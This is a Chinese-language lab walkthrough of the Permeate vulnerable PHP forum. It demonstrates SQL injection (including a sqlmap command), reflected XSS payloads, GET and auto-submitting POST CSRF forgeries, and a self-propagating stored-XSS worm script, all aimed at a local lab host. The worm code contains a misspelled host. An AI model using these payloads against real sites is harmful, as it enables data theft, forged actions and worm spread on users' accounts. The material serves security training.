WEB安全Permeate漏洞靶場挖掘實踐

簡介

最近在逛碼雲時候發現permeat靶場系統,感受界面和業務場景設計的還不錯.因此過來分享一下.php

同時也是分享一下我平時挖掘漏洞的一些思路吧,這篇文章裏雖然只簡單介紹其中三種漏洞類型,但也是想是一個拋轉引玉吧,給web安全新手提供一些挖掘思路.html

下載地址:git

GitHub地址: https://github.com/78778443/permeate
國內地址: https://gitee.com/songboy/permeate

這篇文章裏主要介紹其中的,SQL注入挖掘,xss跨站挖掘,以及csrf漏洞把github

在挖掘一網站的漏洞時候,咱們腦海裏要知道什麼漏洞在什麼場景下容易出現,那些漏洞出現的比較頻繁,我腦海裏的web安全漏洞有三種類型吧:web

  1. 編碼型漏洞
  2. 業務邏輯漏洞
  3. 運行環境漏洞

筆者以前給別人作代碼審計有一個習慣,一般但願給的源碼可以正常運行,還不是光從代碼來分析問題.
爲何這麼作呢,由於以爲若是代碼不能運行其實不少漏洞是沒法光從代碼層面發現問題的.
而代碼能運行起來,其實不只能驗證問題,也能夠從系統的業務功能來找出更多問題.sql

好比說不少網站提供站內搜索功能,在搜索的時候一般會把用戶搜索的關鍵詞返回在頁面當中,好比"你搜搜的關鍵詞'關鍵詞'結果以下",那在這裏就頗有可能存在反射型XSS漏洞.數據庫

另外不少網站都存在用戶體系,而在修改我的資料的時候頗有可能存在越權問題,好比修改的我的資料的時候查看是否又提交uid參數,若是有,修改uid值,看是否是把別人的資料給修改了,這些其實都須要運行以後才能發現問題所在.windows

筆者在windows系統中是由wampser搭建還比較簡單,這裏先簡單介紹安裝方法:瀏覽器

  1. 用git把代碼拉下來
  2. 配置單獨的虛擬主機目錄(不要放到二級目錄,貌似有問題)
  3. 新建了一個數據庫
  4. 導入sql文件,文件位置 /doc/bbs_cate.sql
  5. 修改一下/config/dbconfig.php文件中的數據庫帳號密碼信息

經過上面的安裝步驟以後,應該能夠看到以下面的界面了.有一個默認板塊和一個默認分區,就說明鏈接數據庫成功了.安全

image

如今咱們開始去挖掘裏面的漏洞,在項目介紹中看到有SQL注入和XSS以及CSRF問題,可是沒有告知存在漏洞的位置,因此咱們須要先分析每一個漏洞的對應場景.

先來講說SQL注入挖掘吧.

一. SQL注入挖掘

懂點SQL注入知識應該均可以想到sql注入是由於攻擊者能夠控制sql語句中的參數所形成的,那麼咱們就先找一個須要傳參的地址,在剛纔的首頁中能夠看到有一個默認板塊,那麼就點擊默認板塊好了,點擊以後上面的URL地址變成了

http://permeate.localhost/home/index.php?m=tiezi&a=index&bk=5

在URL中能夠看到,有三個參數,但根據經驗來講,前面兩個參數m和a有點像是路由,因此這兩個先暫時用排除法排除,最後一個參數bk是一個數字,感受應該是板塊的ID,因此能夠重點關注一下,咱們先記住未測試以前的頁面是什麼樣子

image

如今先用手動測試快速測試一下,怎麼測試呢? 能夠在bk=5後面加一個單引號,或者加一個%27,獲得URL地址以下

http://permeate.localhost/home/index.php?m=tiezi&a=index&bk=5'

這個時候看一下頁面的運行效果如何,發現帖子列表中帖子已經不存在了.

image

這個時候咱們能夠初步的得出結論,這個地方可能存在SQL注入問題,可是還不能確定,要確定這個地方是否存在注入問題,咱們這樣深刻去驗證一下,可使用參數值 5' or '1'='1 來進行驗證,獲得URL地址以下

http://permeate.localhost/home/index.php?m=tiezi&a=index&bk=5' or '1'='1

訪問以後,發現頁面又發生了一次變化,這個時候咱們就能夠確定這個地方存在了SQL注入問題,以下圖

image

咱們可使用sqlmap來看看數據庫存在哪些數據庫信息,sqlmap命令以下:

sqlmap -u "http://permeate.localhost/home/index.php?m=tiezi&a=index&bk=5"  --dbs

image

經過sqlmap的反饋結果能夠看出,這個地方確實存在了注入問題.

下面咱們接着找一下XSS漏洞漏洞

二. XSS跨站

形成xss的主要成因咱們知道是參數會被在頁面輸出,因此在找XSS漏洞的時候,咱們先看看站點有什麼功能;

在首頁的圖片和帖子列表頁中能夠大體看出有搜索功能,和發帖,回覆帖子等功能,這些地方都會把接收的參數做爲內容展現出來,因此咱們能夠挨個去測試.

先來一個最簡單的搜索頁吧,在導航欄有一個搜索框,我首先在搜索框中輸入test吧,獲得URL地址以下

http://permeate.localhost/home/search.php?keywords=test

從URL地址能夠看出搜索的關鍵詞會經過keywords來傳遞,傳遞以後也會顯示在頁面內容當中,以下圖

image

如今分析顯示html元素,在關鍵詞test的父級節點,能夠看到是div,div中寫入script標籤是會被執行的,因此能夠直接使用下面的payload

http://permeate.localhost/home/search.php?keywords=test<script>alert(123)</script>

進行測試,經過瀏覽器訪問此鏈接,能夠看到已經彈出123確認框

image

不過xss不只限於script標籤能夠被執行,也能夠用img標籤的onerror屬性來執行,能夠構造以下的payload

http://permeate.localhost/home/search.php?keywords=test<img src=x onerror=alert(456)>

依然訪問URL地址,能夠看到456的確認框被彈出來了

image

上面的XSS都屬於反射型的,存儲型的項目也代表存在,這裏咱們先略過吧,先看看CSRF的漏洞好了.

三. CSRF

CSRF漏洞主要成因是由於服務端接收表單請求時候沒有驗證是用戶發送的請求仍是瀏覽器發送的請求,因此在挖掘此類表單的時候先去找表單的位置,在前面的截圖當中,能夠看到有一個發帖的按鈕,能夠進去點進去看看,點擊發帖,URL地址爲

http://permeate.localhost/home/fatie.php?bk=5

在這個頁面中能夠看到有一個發帖的表單,咱們主要看一下表單有沒有token令牌,若是沒有的話,那就可能存在CSRF的漏洞問題,經過瀏覽器的審查元素截圖以下

image

在頁面中確實沒有存在token信息,所以咱們能夠初步得出結論,這個地方存在CSRF的可能,如今須要驗證一下,

在驗證的時候咱們須要制定CSRF有GET型和POST型,get型利用起來相對簡單不少,而在這個地方表單提交雖然是經過POST,但並不排除GET提交也能夠利用,因此咱們先嚐試用GET型來提交數據,先經過抓包瀏覽器的網絡分析模塊來看,發帖會發送哪一些數據,以下圖

image

在圖中能夠看到,post會傳遞三個參數過去,bk和title以及content三個參數,咱們先用get表單構造出一個payload出來,獲得URL地址以下:

http://permeate.localhost/home/_fatie.php?bk=5&zt=0&title=111&content=222

而後去瀏覽器打開這個地址,看看是否能提交表單成功,訪問後發現彈出了一個確認框,告訴我已經發帖成功了,以下圖

image

去列表確認一下,發現確實已經發帖成功,以下圖帖子列表

image

這個CSRF相對來講比較低級,不少狀況下用get並不能提到post提交,所以咱們再來嘗試用post方法構造一個payload出來,代碼以下

<html>
<head>test</head>
<body>
    <form action="http://permeate.localhost/home/_fatie.php?bk=5&zt=0" id="test" method="POST">
        <input type="hidden" value="11111" name="title"><br>
        <input type="hidden" value="22222" name="content">
    </form>
</body>
<script>
    var f=document.getElementById("test");
    f.getElementsByTagName("input")[0].value="title";
    f.getElementsByTagName("input")[1].value="content";
    f.submit();
</script>
</html>

在上面代碼中能夠看出,表單裏面的值已經事先作好了定義,當受害者打開以後,變回自動提交表單.

前面提到了這個系統中存在存儲型XSS,又存在CSRF漏洞,那麼咱們是否是能夠用來作一個XSS蠕蟲試驗呢?

四. 蠕蟲XSS

知足蠕蟲XSS須要兩個必要條件,存儲型XSS,和CSRF漏洞,這兩個這個系統都有,因此實現起來沒有問題,須要的是先找一下存儲型XSS

在前面發帖的位置會把參數存儲起來,並展現,所以這個地方是一個比較好的試驗點,咱們在發帖位置先來試驗一下吧. 以下圖,表單中提交了xss驗證代碼,當成功觸發的時候會被彈框123,以下圖

image

點擊發布帖子按鈕,發佈帖子成功,下來來到帖子列表頁面,發現alert(123)已經被觸發成功了,以下圖

image

如今CSRF有了,存儲型XSS也有了,那麼接下來就是須要把它們結合起來使用了,但蠕蟲XSS利用代碼相對alert(123)來講代碼會比較長,因此咱們須要先把利用代碼放到一個文件當中,而後再經過script引入進去,咱們構造的代碼以下

var strrand = +new Date();
var str = 'http://premeate.localhost/home/_fatie.php?bk=5&zt=0&title=1111<script src%3D/a.js%3F'+strrand+'></script>&content=222';

var tag = document.createElement('img');
tag.src = str;
document.body.append(tag.src);

在上面的代碼中,只要一被執行,頁面將會被插入一個img標籤,其中標籤的src屬性又會去請求表單,表單裏面的內容又是一段xss代碼,這樣變回形成XSS蠕蟲攻擊者,每次請求都會是倍數增加.以下圖,瀏覽器刷新3次以後,已經有不少帖子了.

image


做者:湯青松微信:songboy8888

相關文章
相關標籤/搜索